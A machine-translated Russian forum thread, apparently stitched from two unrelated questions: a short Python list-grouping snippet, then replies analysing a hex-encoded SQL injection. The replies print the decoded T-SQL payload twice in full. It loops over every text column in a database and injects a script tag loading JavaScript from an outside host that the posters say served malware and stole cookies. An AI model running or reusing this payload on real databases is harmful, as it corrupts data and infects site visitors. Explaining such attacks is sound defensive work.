Проще всего без использования какого-либо пакета;
l = [[0, 1, 0],
[1, 2, 1],
[2, 2, 1],
[3, 0, 0],
[4, 0, 1],
[5, 1, 2],
[6, 0, 1],
[7, 1, 0],
[8, 1, 2]]
s = [(l1[0], l1[1:]) for l1 in l]
s = [[x for x, y in s if y == b] for a, b in s]
s = [y for x, y in enumerate(s) if y not in s[:x]]
print(s)
Вывод
[[0, 7], [1, 2], [3], [4, 6], [5, 8]]
Примечание: мое первое объяснение было неправильным, потому что я на самом деле не прочитывал все это...
вот то, во что это переводит. Это ищет Вашу базу данных текст или varchar столбцы (b.xtype в 99 35 231 167) и затем вводит файл JavaScript во все столбцы текста в Вашей базе данных. Немного более злонамеренный, чем я сначала думал.
DECLARE
@T varchar(255),
@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name
from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT
FROM Table_Cursor
INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN exec('update ['+@T+'] set ['+@C+']=''">
</title>
<script src="http://www2.s800qn.cn/csrss/w.js"></script>
<!--''+['+@C+'] where '+@C+' not like ''%">
</title>
<script src="http://www2.s800qn.cn/csrss/w.js"></script><!--'
'')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
На самом деле Jimmy при анализе этого кода он использует курсор для введения ссылки JavaScript на hxxp://www2.s800qn.cn/csrss/w.js в каждом текстовом поле в базе данных.
Это означает, что они не заботятся о Вашей базе данных, что они хотят, должен использовать Вашу страницу для кражи данных от пользователей, просматривающих его.
Та ссылка JavaScript является теперь битой, но она, вероятно, содержала код для захвата пользовательских cookie.
В дополнение к сообщению Jimmy: можно также использовать переводчика шестнадцатеричного ASCII для получения этого:
DECLARE @T varchar(255)'@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select
a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT
FROM Table_Cursor INTO @T'@C WHILE(@@FETCH_STATUS=0) BEGIN
exec('update ['+@T+'] set ['+@C+']=''"></title><script src="http://www2.s800qn.cn
/csrs/w.js"></script>''+['+@C+'] where '+@C+' not like ''%"></title><script
src="http://www2.s800qn.cn/csrss/w.js"></script>''')FETCH NEXT FROM Table_Cursor INTO
@T'@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
Только, чтобы помочь, если Вы уже не выяснили, это - автоматизированное нападение, не предназначенное. И цель включенного .js файла распределяет вредоносное программное обеспечение при помощи Вашего веб-сайта, и это включает несколько использования, главным образом предназначается для пользователей IE.